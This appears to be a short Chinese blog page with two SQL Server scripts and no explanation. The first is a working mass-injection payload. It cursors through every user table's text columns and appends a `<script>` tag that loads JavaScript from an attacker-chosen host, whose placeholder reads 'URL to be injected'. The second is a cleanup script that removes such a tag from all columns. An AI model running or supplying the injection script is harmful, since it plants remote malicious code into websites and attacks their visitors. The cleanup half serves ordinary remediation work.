SQL

DECLARE @T VARCHAR(255),@C VARCHAR  (255)
DECLARE Table_Cursor   CURSOR  
FOR
SELECT A.Name,B.Name FROM Sysobjects A,Syscolumns B WHERE  A.Id = B.Id AND A.Xtype = 'u' AND (B.Xtype = 99 OR B.Xtype = 35 OR B.Xtype = 231 OR B.Xtype = 167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C    
WHILE (@@Fetch_Status = 0)
BEGIN
EXEC('update [' + @T + '] Set [' + @C + ']=Rtrim(Convert(Varchar(8000),[' + @C + ']))+''<script src=http://需要注入的网址/0.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
Deallocate Table_Cursor

DECLARE @delStr NVARCHAR(500)SET @delStr = '<script src=http://www.test.com/0.js></script>' --要被替换掉字符SET NOCOUNT ONDECLARE @tableName NVARCHAR(100), @columnName NVARCHAR(100), @tbID INT, @iRow INT, @iResult INTDECLARE @sql NVARCHAR(500)SET @iResult = 0DECLARE cur CURSOR FOR SELECT NAME, id FROM sysobjects WHERE xtype = 'U'OPEN curFETCH NEXT FROM cur INTO @tableName,@tbID WHILE @@fetch_status = 0BEGIN DECLARE cur1 CURSOR FOR --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 SELECT NAME FROM syscolumns WHERE xtype IN (231, 167, 239, 175) AND id = @tbID OPEN cur1 FETCH NEXT FROM cur1 INTO @columnName WHILE @@fetch_status = 0 BEGIN SET @sql = 'update [' + @tableName + '] set [' + @columnName + ']= replace([' + @columnName + '],''' + @delStr + ''','''') where [' + @columnName + '] like ''%' + @delStr + '%''' EXEC sp_executesql @sql SET @iRow = @@rowcount SET @iResult = @iResult + @iRow IF @iRow > 0 BEGIN PRINT '表:' + @tableName + ',列:' + @columnName + '被更新' + CONVERT(VARCHAR(10), @iRow) + '条记录;' END FETCH NEXT FROM cur1 INTO @columnName END CLOSE cur1 DEALLOCATE cur1 FETCH NEXT FROM cur INTO @tableName,@tbIDENDPRINT '数据库共有' + CONVERT(VARCHAR(10), @iResult) + '条记录被更新!!!'CLOSE curDEALLOCATE curSET NOCOUNT OFF


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值